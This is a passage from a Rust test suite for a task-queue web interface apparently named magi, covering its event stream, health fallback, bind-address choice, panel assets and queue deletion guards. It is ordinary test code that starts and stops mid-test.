20303        // handling below) - so openRunsFiltered must call renderRuns()
20304        // itself, and must call applyRoute() too so the view flips even
20305        // when the hash string doesn't change (the operator may already be
20306        // on the Runs view when a tile is tapped, which fires no
20307        // hashchange event at all).
20308        assert!(
20309            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20310            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20311             hashchange event that may never fire"
20312        );
20313    }
20314
20315    #[test]
20316    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20317        // A stats tile can leave state.runsFilter.status set to something
20318        // done-by-construction (e.g. "merged") - picking "Active" afterward
20319        // must drop it the same way an incompatible tree section is already
20320        // dropped, or the Runs list renders permanently empty with no way
20321        // for the operator to tell why.
20322        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20323        assert!(
20324            APP_JS.contains(
20325                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20326            ),
20327            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20328             guard for an incompatible tree section"
20329        );
20330    }
20331
20332    #[test]
20333    fn every_stats_queue_tile_names_a_real_queue_section() {
20334        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20335        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20336        // (consumeQueueSectionFocus finds no matching <details> and drops
20337        // the focus) rather than fail loudly, so pin every key against the
20338        // section list it has to resolve against.
20339        assert!(
20340            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20341            "every queue tile built through sectionTile() must route its click through \
20342             openQueueSectionFocus"
20343        );
20344        for key in ["upnext", "running", "done", "held", "blocked"] {
20345            assert!(
20346                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20347                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20348            );
20349        }
20350        // Queued and Failed intentionally both resolve to "upnext" - the
20351        // same section queueSection() itself files them under - rather than
20352        // getting a section each.
20353        for line in [
20354            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20355            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20356            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20357            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20358            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20359            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20360        ] {
20361            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20362        }
20363    }
20364
20365    #[test]
20366    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20367        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20368        // above for the section-focus channel a stats queue tile drives:
20369        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20370        // through the stale-search-clear recursion into renderQueue(), and
20371        // clear it only once revealQueueSection() is actually about to run -
20372        // the same trap that once silently dropped a task-focus jump.
20373        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20374        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20375        assert!(APP_JS.contains("function revealQueueSection(details)"));
20376        assert!(
20377            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20378            "renderQueue() must consume both focus channels on every pass"
20379        );
20380        assert!(
20381            APP_JS.contains(
20382                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20383            ),
20384            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20385             the recursive renderQueue() call has nothing left to reveal"
20386        );
20387        assert!(
20388            APP_JS.contains(
20389                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20390            ),
20391            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20392        );
20393        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20394        // task-focus form of the hash - a plain `#queue` navigation only
20395        // flips which view is visible. openQueueSectionFocus() must
20396        // therefore call renderQueue() itself, and applyRoute() too so the
20397        // view flips even when the hash doesn't change (the Backlog may
20398        // already be open when a tile is tapped, firing no hashchange
20399        // event at all).
20400        assert!(
20401            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20402            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20403             hashchange event that may never fire"
20404        );
20405    }
20406
20407    #[tokio::test]
20408    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20409        let f = Fixture::start().await;
20410
20411        let mut socket = tokio::net::TcpStream::connect(f.addr)
20412            .await
20413            .expect("connect");
20414        socket
20415            .write_all(
20416                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20417            )
20418            .await
20419            .expect("write request");
20420
20421        // Read until the first event arrives rather than to end of stream: the
20422        // stream is endless by design, which is the point of the route.
20423        let mut seen = String::new();
20424        let mut buf = [0u8; 1024];
20425        while !seen.contains("event: change") {
20426            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20427                .await
20428                .expect("the stream must speak within five seconds")
20429                .expect("read");
20430            assert!(read > 0, "the server closed the change stream: {seen}");
20431            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20432        }
20433
20434        assert!(
20435            seen.to_lowercase()
20436                .contains("content-type: text/event-stream"),
20437            "the browser only reconnects automatically for a real SSE stream: {seen}"
20438        );
20439        let data = seen
20440            .lines()
20441            .find_map(|l| l.strip_prefix("data:"))
20442            .expect("a data line");
20443        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20444        assert!(
20445            payload["queue_rev"].is_u64()
20446                && payload["runs_rev"].is_u64()
20447                && payload["questions_rev"].is_u64()
20448                && payload["talks_rev"].is_u64()
20449                && payload["notifications_rev"].is_u64()
20450                && payload["loop_rev"].is_u64(),
20451            "the client needs one revision per store to know what to refetch, \
20452             and `talks_rev` is the only notification a standing talk gets - a \
20453             phone whose radio slept through a turn learns about it here, as \
20454             does one whose operator started the loop from another device: \
20455             {payload}"
20456        );
20457
20458        // The front end re-polls health on a timer and on wake, and takes the
20459        // revisions from that answer whenever the stream is not up. So health
20460        // has to carry every key the stream carries: a phone on a link that
20461        // will not hold an SSE connection is exactly the phone that must still
20462        // notice a question, and a missing key there is not a 500 but a UI
20463        // that quietly stops updating.
20464        let health = f.get("/api/health").await.json();
20465        for key in [
20466            "queue_rev",
20467            "runs_rev",
20468            "questions_rev",
20469            "talks_rev",
20470            "notifications_rev",
20471            "loop_rev",
20472        ] {
20473            assert!(
20474                health[key].is_u64(),
20475                "health is the change stream's fallback and is missing `{key}`: {health}"
20476            );
20477        }
20478    }
20479
20480    #[tokio::test]
20481    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20482        let f = Fixture::start().await;
20483        let before = f.get("/api/health").await.json()["talks_rev"]
20484            .as_u64()
20485            .expect("talks_rev");
20486
20487        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20488        std::thread::sleep(Duration::from_millis(10));
20489        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20490        on_disk.turns.push(crate::talk::Turn {
20491            sender: None,
20492            breaks: Some(Vec::new()),
20493            messages: Vec::new(),
20494            posted_by: None,
20495            who: crate::talk::Who::Operator,
20496            body: "a new turn".to_owned(),
20497            at: Timestamp::now(),
20498            attachments: Vec::new(),
20499            usage: None,
20500        });
20501        f.talks().put(&mut on_disk).expect("record a turn");
20502
20503        let after = tokio::time::timeout(Duration::from_secs(5), async {
20504            loop {
20505                let revision = f.get("/api/health").await.json()["talks_rev"]
20506                    .as_u64()
20507                    .unwrap();
20508                if revision != before {
20509                    break revision;
20510                }
20511                tokio::time::sleep(Duration::from_millis(50)).await;
20512            }
20513        })
20514        .await
20515        .expect("shared monitor observes external turn");
20516        assert_ne!(
20517            before, after,
20518            "a phone must be able to notice a talk's reply without polling every store"
20519        );
20520    }
20521
20522    #[test]
20523    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20524        // The CLI shows the default in `--help` and parses whatever comes
20525        // back, so the two directions have to agree or `--bind auto` breaks
20526        // the moment someone copies the help text.
20527        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20528            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20529        }
20530        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20531        assert!("everywhere".parse::<Bind>().is_err());
20532    }
20533
20534    #[test]
20535    fn an_explicit_bind_address_is_taken_verbatim() {
20536        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20537
20538        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20539
20540        assert_eq!(addr, asked);
20541        assert!(
20542            warning.is_none(),
20543            "an operator who named an address gets no lecture"
20544        );
20545    }
20546
20547    #[test]
20548    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20549        let (addr, warning) = resolve_bind(&Bind::Auto);
20550
20551        // This has to hold on a CI runner with no `tailscale` and on a dev box
20552        // with one, so the invariant asserted is the one shared by both
20553        // outcomes: the address is either a real tailnet address offered
20554        // without comment, or loopback with an explanation. What must never
20555        // happen is a silent fallback - an operator told "listening on
20556        // 127.0.0.1" with no reason would go looking for a firewall.
20557        match addr {
20558            IpAddr::V4(ip) if is_tailnet(&ip) => {
20559                assert!(warning.is_none(), "a tailnet address needs no warning");
20560            }
20561            other => {
20562                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20563                let warning = warning.expect("a fallback has to explain itself");
20564                assert!(
20565                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20566                    "the warning says what happened and what it costs: {warning}"
20567                );
20568            }
20569        }
20570    }
20571
20572    #[test]
20573    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20574        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20575        // boundary cases are what stop us binding to some other tool's idea of
20576        // an address.
20577        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20578        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20579        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20580        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20581        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20582    }
20583
20584    #[test]
20585    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20586        let ids = vec![
20587            "20260902-140501-aaaa".to_owned(),
20588            "20260902-140502-aabb".to_owned(),
20589        ];
20590
20591        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20592        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20593        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20594
20595        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20596        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20597        assert_eq!(short, "20260902-140502-aabb");
20598    }
20599    #[tokio::test]
20600    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20601        // The prompt tells agents to reference attachments by bare filename.
20602        // A document served at `.../panel` resolves `shot.png` against its own
20603        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20604        // panel written exactly as instructed showed broken images. Caught by
20605        // looking at a real one in a browser, not by reading the code.
20606        let fx = Fixture::start().await;
20607        let id = panel(
20608            &fx,
20609            "<img src=\"shot.png\">",
20610            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20611        );
20612
20613        // The frame's own URL ends in a filename, so its siblings are reachable.
20614        let doc = fx
20615            .get(&format!("/api/questions/{id}/panel/index.html"))
20616            .await;
20617        assert_eq!(doc.status, 200, "{}", doc.body);
20618        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20619
20620        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20621        assert_eq!(sibling.status, 200, "{}", sibling.body);
20622        assert_eq!(sibling.header("content-type"), Some("image/png"));
20623        assert_eq!(
20624            sibling.header("content-security-policy"),
20625            Some(PANEL_CSP),
20626            "the sibling route must carry the same policy as the asset route"
20627        );
20628
20629        // The original spelling keeps working: HEAD on it is how the front end
20630        // decides whether to mount a frame at all.
20631        assert_eq!(
20632            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20633            200
20634        );
20635    }
20636
20637    #[test]
20638    fn delta_stamps_cover_add_update_remove_and_noop() {
20639        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20640        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20641        let delta = diff_stamps(&before, &after, 42);
20642        assert_eq!(delta.base, 42);
20643        assert_eq!(delta.changed, ["b", "c"]);
20644        assert_eq!(delta.removed, ["a"]);
20645        let same = diff_stamps(&after, &after, 43);
20646        assert!(same.changed.is_empty() && same.removed.is_empty());
20647        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20648        let nanos: Stamps = [("b".into(), (2, 20))].into();
20649        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20650        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20651        assert_eq!(stamps_revision(&Stamps::new()), 0);
20652    }
20653
20654    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20655        std::fs::create_dir_all(home.join("runs")).unwrap();
20656        Arc::new(Ui::new(
20657            Queue::at(home.join("queue")),
20658            Questions::at(home.join("questions")),
20659            Talks::at(home.join("talks")),
20660            home.join("runs"),
20661            home.to_owned(),
20662            PathBuf::from("/repo/magi"),
20663        ))
20664    }
20665
20666    #[test]
20667    fn monitor_scan_isolates_store_failures_and_recovers() {
20668        let home = TempDir::new().unwrap();
20669        let ui = delta_test_ui(home.path());
20670        std::fs::create_dir_all(ui.questions.root()).unwrap();
20671        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20672        let before = monitor_scan(&ui, None);
20673        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20674        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20675        std::fs::create_dir_all(ui.talks.root()).unwrap();
20676        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20677        let during = monitor_scan(&ui, Some(before.clone()));
20678        assert_eq!(during.0.2, before.0.2);
20679        assert_ne!(during.0.3, before.0.3);
20680        assert!(during.1[2].contains_key("new"));
20681        std::fs::remove_file(ui.questions.root()).unwrap();
20682        let after = monitor_scan(&ui, Some(during));
20683        assert_eq!(after.0.2, 0);
20684        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20685        // A failed first scan also permits healthy stores to publish.
20686        std::fs::write(ui.questions.root(), "not a directory").unwrap();
20687        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20688    }
20689
20690    #[tokio::test]
20691    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20692        let home = TempDir::new().unwrap();
20693        let ui = delta_test_ui(home.path());
20694        let mut task = Task::new(
20695            "stream task".into(),
20696            "text".into(),
20697            PathBuf::from("/repo"),
20698            Source::Human,
20699        );
20700        ui.queue.put(&mut task).unwrap();
20701        let response = events(State(ui.clone())).await.into_response();
20702        let mut stream = response.into_body().into_data_stream();
20703        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20704            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20705                .await
20706                .unwrap()
20707                .unwrap()
20708                .unwrap();
20709            let text = String::from_utf8(chunk.to_vec()).unwrap();
20710            let data = text
20711                .lines()
20712                .find_map(|line| {
20713                    line.strip_prefix("data: ")
20714                        .or_else(|| line.strip_prefix("data:"))
20715                })
20716                .unwrap();
20717            serde_json::from_str(data).unwrap()
20718        }
20719        let initial = change(&mut stream).await;
20720        assert!(initial.get("queue_delta").is_none());
20721        task.instruction.push_str(" changed");
20722        ui.queue.put(&mut task).unwrap();
20723        let updated = change(&mut stream).await;
20724        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20725        assert_eq!(
20726            updated["queue_delta"]["changed"],
20727            serde_json::json!([task.id])
20728        );
20729        assert_eq!(
20730            updated["queue_rev"].as_u64(),
20731            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20732        );
20733        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20734        let removed = change(&mut stream).await;
20735        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20736        assert_eq!(
20737            removed["queue_delta"]["removed"],
20738            serde_json::json!([task.id])
20739        );
20740    }
20741
20742    #[tokio::test]
20743    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20744        let home = TempDir::new().unwrap();
20745        let ui = delta_test_ui(home.path());
20746        let queue = ui.queue.clone();
20747        let query = |ids: Option<&str>| {
20748            Query(ListQuery {
20749                limit: Some(2),
20750                ids: ids.map(str::to_owned),
20751            })
20752        };
20753        let mut root = Task::new(
20754            "root".into(),
20755            "instruction".into(),
20756            PathBuf::from("/repo"),
20757            Source::Human,
20758        );
20759        queue.put(&mut root).unwrap();
20760        let mut blocked = Task::new(
20761            "blocked".into(),
20762            "instruction".into(),
20763            PathBuf::from("/repo"),
20764            Source::Human,
20765        );
20766        blocked.block(vec![root.id.clone()], None);
20767        queue.put(&mut blocked).unwrap();
20768        let whole =
20769            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20770                .unwrap();
20771        let subset = serde_json::to_value(
20772            queue_list(State(ui.clone()), query(Some(&root.id)))
20773                .await
20774                .unwrap()
20775                .0,
20776        )
20777        .unwrap();
20778        assert_eq!(whole, subset, "requested root plus its blocked dependent");
20779        let blockers = serde_json::to_value(
20780            queue_list(State(ui.clone()), query(Some("")))
20781                .await
20782                .unwrap()
20783                .0,
20784        )
20785        .unwrap();
20786        assert_eq!(blockers.as_array().unwrap().len(), 1);
20787        assert_eq!(blockers[0]["id"], blocked.id);
20788        assert_eq!(
20789            blockers[0]["waits_on"],
20790            whole
20791                .as_array()
20792                .unwrap()
20793                .iter()
20794                .find(|row| row["id"] == blocked.id)
20795                .unwrap()["waits_on"]
20796        );
20797
20798        for id in [
20799            "20260902-140501-aaaa",
20800            "20260902-140502-bbbb",
20801            "20260902-140503-cccc",
20802        ] {
20803            write_run(&ui.runs, id, RunStatus::Merged);
20804        }
20805        let old = serde_json::to_value(
20806            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20807                .await
20808                .unwrap()
20809                .0,
20810        )
20811        .unwrap();
20812        assert!(
20813            old.as_array().unwrap().is_empty(),
20814            "older updates must not enter the window"
20815        );
20816        let newest = serde_json::to_value(
20817            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20818                .await
20819                .unwrap()
20820                .0,
20821        )
20822        .unwrap();
20823        assert_eq!(newest.as_array().unwrap().len(), 1);
20824        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20825
20826        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20827        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20828        let talks = serde_json::to_value(
20829            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20830                .await
20831                .unwrap()
20832                .0,
20833        )
20834        .unwrap();
20835        assert_eq!(talks.as_array().unwrap().len(), 1);
20836        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20837        assert_eq!(
20838            serde_json::to_value(
20839                talks_list(State(ui.clone()), query(Some("")))
20840                    .await
20841                    .unwrap()
20842                    .0
20843            )
20844            .unwrap(),
20845            serde_json::json!([])
20846        );
20847    }
20848
20849    #[tokio::test]
20850    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20851    async fn delta_payload_benchmark() {
20852        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20853        let ui = delta_test_ui(&home);
20854        let query = |ids: Option<String>| {
20855            Query(ListQuery {
20856                limit: Some(50),
20857                ids,
20858            })
20859        };
20860        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20861        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20862        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20863        let queue_id = queue
20864            .iter()
20865            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20866            .unwrap_or(&queue[0])
20867            .task
20868            .id
20869            .clone();
20870        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20871            .await
20872            .unwrap()
20873            .0;
20874        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20875            .await
20876            .unwrap()
20877            .0;
20878        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20879            .await
20880            .unwrap()
20881            .0;
20882        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20883        eprintln!(
20884            "DELTA_PAYLOAD {}",
20885            serde_json::json!({
20886                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20887                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20888                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20889                "counts": [queue.len(), runs.len(), talks.len()],
20890                "blocked": queue_delta.len() - 1,
20891            })
20892        );
20893    }
20894
20895    #[test]
20896    fn runs_revision_moves_when_deleting_an_older_run() {
20897        let temp = TempDir::new().expect("tempdir");
20898        let runs = temp.path().join("runs");
20899        std::fs::create_dir_all(&runs).expect("create runs dir");
20900
20901        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20902
20903        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20904        std::thread::sleep(Duration::from_millis(10));
20905        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20906
20907        let rev_before = runs_revision(&runs);
20908        assert!(rev_before > 0);
20909
20910        let old_dir = runs.join("20260901-100000-old1");
20911        std::fs::remove_dir_all(&old_dir).expect("remove old run");
20912
20913        let rev_after = runs_revision(&runs);
20914        assert_ne!(
20915            rev_before, rev_after,
20916            "deleting an older run must change the revision so other clients see the deletion"
20917        );
20918    }
20919
20920    /// A run's own `run.json` on an explicit `runs` root, bypassing the
20921    /// process-global home entirely — `RunState::save` writes through
20922    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
20923    /// (see `tests::home_lock` in the integration suite for why).
20924    fn write_state(runs: &FsPath, state: &RunState) {
20925        let dir = runs.join(&state.id);
20926        std::fs::create_dir_all(&dir).expect("run dir");
20927        std::fs::write(
20928            dir.join("run.json"),
20929            serde_json::to_string_pretty(state).expect("serialize run"),
20930        )
20931        .expect("write run.json");
20932    }
20933
20934    /// A seat starting or finishing is a write to `run.json` like any other,
20935    /// so it moves the same revision the change stream already watches —
20936    /// nothing new for `/api/events` to learn, but the property this feature
20937    /// depends on to reach the phone without a poll.
20938    #[test]
20939    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20940        let temp = TempDir::new().expect("tempdir");
20941        let runs = temp.path().join("runs");
20942        std::fs::create_dir_all(&runs).expect("create runs dir");
20943        let mut state = RunState::new(
20944            PathBuf::from("/repo/magi"),
20945            "main".to_owned(),
20946            "0123456789abcdef".to_owned(),
20947            "task".to_owned(),
20948            Config::default(),
20949        );
20950        state.id = "20260902-100000-c0de".to_owned();
20951        write_state(&runs, &state);
20952
20953        let rev_idle = runs_revision(&runs);
20954        std::thread::sleep(Duration::from_millis(10));
20955        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20956        write_state(&runs, &state);
20957        let rev_started = runs_revision(&runs);
20958        assert_ne!(
20959            rev_idle, rev_started,
20960            "a seat starting must move the revision"
20961        );
20962
20963        std::thread::sleep(Duration::from_millis(10));
20964        state.seat_finished("judge-1");
20965        write_state(&runs, &state);
20966        let rev_finished = runs_revision(&runs);
20967        assert_ne!(
20968            rev_started, rev_finished,
20969            "and clearing it again must move the revision a second time"
20970        );
20971    }
20972
20973    #[tokio::test]
20974    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20975        // `TaskView` flattens `Task`, so this is really asserting that
20976        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
20977        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
20978        // never touched web.rs, so nothing here caught it if it had.
20979        let fx = Fixture::start().await;
20980        let q = fx.queue();
20981
20982        let mut t = Task::new(
20983            "Task".to_owned(),
20984            "Instruction".to_owned(),
20985            PathBuf::from("/repo"),
20986            Source::Human,
20987        );
20988        t.block(
20989            vec!["20260101-000000-dead".to_owned()],
20990            Some("waiting on Task 1".to_owned()),
20991        );
20992        t.answers.push(crate::queue::AnsweredQuestion {
20993            question: "Which backend?".to_owned(),
20994            answer: "SQLite".to_owned(),
20995        });
20996        q.put(&mut t).expect("put t");
20997
20998        let res = fx.get("/api/queue").await;
20999        assert_eq!(res.status, 200);
21000        let list = res.json();
21001        let view = list
21002            .as_array()
21003            .expect("array")
21004            .iter()
21005            .find(|v| v["id"] == t.id)
21006            .expect("task in list");
21007        assert_eq!(view["status_str"], "blocked");
21008        assert_eq!(
21009            view["blocked_by"],
21010            serde_json::json!(["20260101-000000-dead"])
21011        );
21012        assert_eq!(view["block_reason"], "waiting on Task 1");
21013        assert_eq!(view["answers"][0]["question"], "Which backend?");
21014        assert_eq!(view["answers"][0]["answer"], "SQLite");
21015
21016        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21017        // but never `answers` - that is a settled decision, not state
21018        // describing the current block, so it survives.
21019        let res = fx
21020            .post(&format!("/api/queue/{}/hold", t.short()), None)
21021            .await;
21022        assert_eq!(res.status, 200);
21023        let held = res.json();
21024        assert_eq!(held["status_str"], "held");
21025        assert_eq!(held["blocked_by"], serde_json::json!([]));
21026        assert!(held["block_reason"].is_null());
21027        assert_eq!(held["answers"][0]["answer"], "SQLite");
21028    }
21029
21030    #[tokio::test]
21031    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21032        let fx = Fixture::start().await;
21033        let q = fx.queue();
21034        let mk = |title: &str| {
21035            Task::new(
21036                title.to_owned(),
21037                "Instruction".to_owned(),
21038                PathBuf::from("/repo"),
21039                Source::Human,
21040            )
21041        };
21042        let mut root = mk("root");
21043        root.hold_manual(Some("waiting".to_owned()));
21044        q.put(&mut root).unwrap();
21045        let mut mid = mk("mid");
21046        mid.block(vec![root.id.clone()], None);
21047        q.put(&mut mid).unwrap();
21048        let mut leaf = mk("leaf");
21049        leaf.block(vec![mid.id.clone()], None);
21050        q.put(&mut leaf).unwrap();
21051
21052        let list = fx.get("/api/queue").await.json();
21053        let find = |id: &str| {
21054            list.as_array()
21055                .unwrap()
21056                .iter()
21057                .find(|v| v["id"] == id)
21058                .unwrap()
21059                .clone()
21060        };
21061        let leaf_view = find(&leaf.id);
21062        assert_eq!(
21063            leaf_view["waits_on"],
21064            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21065        );
21066        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21067        assert_eq!(
21068            find(&mid.id)["waits_on"],
21069            serde_json::json!([format!("{} (held)", root.short())])
21070        );
21071        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21072    }
21073
21074    #[tokio::test]
21075    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21076        let fx = Fixture::start().await;
21077        let q = fx.queue();
21078
21079        // 1. A queued task with runs attached can be deleted.
21080        let mut t1 = Task::new(
21081            "Task 1".to_owned(),
21082            "Instruction 1".to_owned(),
21083            PathBuf::from("/repo"),
21084            Source::Human,
21085        );
21086        let run_id = "20260901-000000-r111";
21087        t1.runs.push(run_id.to_owned());
21088        write_run(&fx.runs(), run_id, RunStatus::Merged);
21089        q.put(&mut t1).expect("put t1");
21090
21091        // Delete by short id
21092        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21093        assert_eq!(res.status, 204);
21094        assert!(res.body.is_empty(), "204 No Content has no body");
21095        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21096        assert!(
21097            fx.runs().join(run_id).exists(),
21098            "run directory must not be deleted when its task is deleted"
21099        );
21100
21101        // 2. A task a live daemon is running is refused with 409.
21102        let mut t2 = Task::new(
21103            "Task 2".to_owned(),
21104            "Instruction 2".to_owned(),
21105            PathBuf::from("/repo"),
21106            Source::Human,
21107        );
21108        t2.status = TaskStatus::Running;
21109        q.put(&mut t2).expect("put t2");
21110        let mut beat = crate::daemon::Status::new();
21111        beat.current = vec![crate::daemon::Current {
21112            worker: None,
21113            task: t2.id.clone(),
21114            run: "20260901-000000-r222".to_owned(),
21115        }];
21116        beat.updated_at = jiff::Timestamp::now();
21117        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21118            .expect("publish a heartbeat");
21119        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21120        assert_eq!(res.status, 409);
21121        assert!(
21122            res.json()["error"]
21123                .as_str()
21124                .unwrap()
21125                .contains("live daemon")
21126        );
21127        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21128
21129        // 3. The same `running` status and an orphaned lock, with no daemon
21130        // behind either, is a leftover and deletable. Before this the phone
21131        // refused it for good: the status never changes on its own and
21132        // nothing drops a lock whose process is gone.
21133        // The daemon is killed: the file stays, the heartbeat stops.
21134        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
